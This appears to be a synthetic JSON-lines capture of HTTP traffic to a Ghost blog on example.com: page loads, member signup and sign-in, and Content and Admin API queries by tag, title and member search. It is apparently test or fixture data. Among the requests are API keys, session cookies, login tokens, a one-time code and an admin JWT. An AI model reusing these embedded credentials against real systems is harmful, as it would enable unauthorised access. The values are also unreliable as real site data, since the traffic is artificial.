{"method": "GET", "target": "/tag/linux-ls-la/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/public/ghost.css?v=aHP3I2VXEymsLMTa", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/tag/linux-ls-la/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/tag/shell-tips-htaccess/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/author/alice/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/rss/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/tag/powershell/rss/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/sitemap.xml", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/sitemap.xsl", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/sitemap.xml", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/members/api/member/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/settings/?key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/tiers/?limit=100&include=monthly_price%2Cyearly_price%2Cbenefits&key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/newsletters/?limit=100&key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/sitemap-posts.xml", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/sitemap-tags.xml", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/coming-soon/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/page/2/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/robots.txt", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/using-python3-and-ls-la-to-tidy-htaccess-files-2/?ref=example.com&utm_source=newsletter&utm_medium=email", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/search-index/posts/?key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/search-index/authors/?key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/search-index/tags/?key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/content/images/size/w160/format/webp/2026/11/feature.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/members/api/integrity-token/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "POST", "target": "/members/api/send-magic-link/", "headers": ["Host: example.com", "Content-Length: 464", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": "{\"name\":\"Dave powershell Example\",\"email\":\"dave.powershell@example.com\",\"emailType\":\"signup\",\"requestSrc\":\"portal\",\"integrityToken\":\"1794400683018:3bf73f369096c9f6add1f9b1ae98cb46:e7f23a7052ff063a7be3d6314e7d0024886ddb7efa32b9fa0005958b0eabdab6\",\"autoRedirect\":true,\"urlHistory\":[{\"path\":\"/\",\"time\":1794400377687,\"referrerSource\":null,\"referrerMedium\":null,\"utmSource\":null,\"utmMedium\":null,\"utmCampaign\":null,\"utmTerm\":null,\"utmContent\":null,\"referrerUrl\":null}]}"}
{"method": "GET", "target": "/members/?token=8ZPiTGbu73ReLyvRl98jURWkKkfRA_i1&action=signup&r=http%3A%2F%2Fexample.com%2F", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?action=signup&success=true", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": ""}
{"method": "GET", "target": "/members/api/member/metafields/custom/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/?action=signup&success=true", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": ""}
{"method": "PUT", "target": "/members/api/member/", "headers": ["Host: example.com", "Content-Length: 36", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": "{\"name\":\"Dave python3 & powershell\"}"}
{"method": "PUT", "target": "/members/api/member/", "headers": ["Host: example.com", "Content-Length: 18", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": "{\"newsletters\":[]}"}
{"method": "PUT", "target": "/members/api/member/", "headers": ["Host: example.com", "Content-Length: 51", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": "{\"newsletters\":[{\"id\":\"6af45710d281b00001a598a1\"}]}"}
{"method": "DELETE", "target": "/members/api/session/", "headers": ["Host: example.com", "Content-Length: 13", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": "{\"all\":false}"}
{"method": "POST", "target": "/members/api/send-magic-link/", "headers": ["Host: example.com", "Content-Length: 466", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": "{\"email\":\"dave.powershell@example.com\",\"emailType\":\"signin\",\"requestSrc\":\"portal\",\"integrityToken\":\"1794400800145:c04601f2fbf42eff0912f44306da4981:870fcacdfa42692d37f5a9444cc59480475d58048e44a25969a181864ab30e35\",\"autoRedirect\":true,\"includeOTC\":true,\"urlHistory\":[{\"path\":\"/\",\"time\":1794400493093,\"referrerSource\":null,\"referrerMedium\":null,\"utmSource\":null,\"utmMedium\":null,\"utmCampaign\":null,\"utmTerm\":null,\"utmContent\":null,\"referrerUrl\":\"http://example.com/\"}]}"}
{"method": "POST", "target": "/members/api/verify-otc/", "headers": ["Host: example.com", "Content-Length: 195", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": "{\"otc\":\"155759\",\"otcRef\":\"2346ad44-bc1b-447b-9e30-a506b9bfc8a7\",\"integrityToken\":\"1794400804868:c351ef2d02347ac40394984518784966:d7097253ef160994428604e069f539148a4cab1e4d8950512ab9a194f15ebd8a\"}"}
{"method": "GET", "target": "/members/?token=bKAQ1DVEaORlazdXjSVaDL2EZHkjardV&action=signin&r=http%3A%2F%2Fexample.com%2F&otc_verification=1794400504%3A930857376b132f4aceb9983d3d6de1dc12971c6917638fb1aebb2259bef62a1c", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/?action=signin&success=true", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=tag%3apython3&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=tag%3apowershell&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=tag%3alinux-ls-la&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=tags%3a%5bpython3%2cpowershell%5d&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=primary_tag%3ashell-tips-htaccess&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=title%3a~%27ls+-la%27&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=title%3a~%27.htaccess%27&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=featured%3atrue%2btag%3apowershell&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=slug%3ausing-python3-and-ls-la-to-tidy-htaccess-files-2&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=published_at%3a%3e%272026-01-01%27%2btag%3a%5bpython3%2cnews%5d&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&fields=title%2cslug%2curl%2cexcerpt&order=published_at+desc&formats=html%2cplaintext&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/posts/slug/using-python3-and-ls-la-to-tidy-htaccess-files-2/?key=c695aa1f5cdfa62f7b677c3c83&include=tags%2cauthors", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/tags/slug/python3/?key=c695aa1f5cdfa62f7b677c3c83&include=count.posts", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/tags/slug/powershell/?key=c695aa1f5cdfa62f7b677c3c83&include=count.posts", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/tags/slug/linux-ls-la/?key=c695aa1f5cdfa62f7b677c3c83&include=count.posts", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/tags/?key=c695aa1f5cdfa62f7b677c3c83&filter=name%3a~%27python3%27&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/tags/?key=c695aa1f5cdfa62f7b677c3c83&filter=name%3a~%27.htaccess%27&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/tags/?key=c695aa1f5cdfa62f7b677c3c83&filter=name%3a~%27ls+-la%27&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/tags/?key=c695aa1f5cdfa62f7b677c3c83&filter=slug%3a%5bpython3%2cpowershell%5d&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/tags/?key=c695aa1f5cdfa62f7b677c3c83&filter=visibility%3apublic&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/pages/?key=c695aa1f5cdfa62f7b677c3c83&filter=title%3a~%27powershell%27", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/pages/slug/about-python3-powershell-htaccess/?key=c695aa1f5cdfa62f7b677c3c83", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/authors/slug/alice/?key=c695aa1f5cdfa62f7b677c3c83&include=count.posts", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/authors/?key=c695aa1f5cdfa62f7b677c3c83&filter=name%3a~%27Alice%27", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/settings/?key=c695aa1f5cdfa62f7b677c3c83", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/tiers/?key=c695aa1f5cdfa62f7b677c3c83&include=monthly_price%2cyearly_price", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3apowershell&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3apython3%2bstatus%3apublished&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=title%3a~%27ls+-la%27&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tags.name%3a~%27.htaccess%27&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/members/?search=python3&limit=15", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/members/?search=powershell&limit=15", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/members/?search=ls+-la&limit=15", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/members/?search=.htaccess&limit=15", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/members/?search=carol&limit=15", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
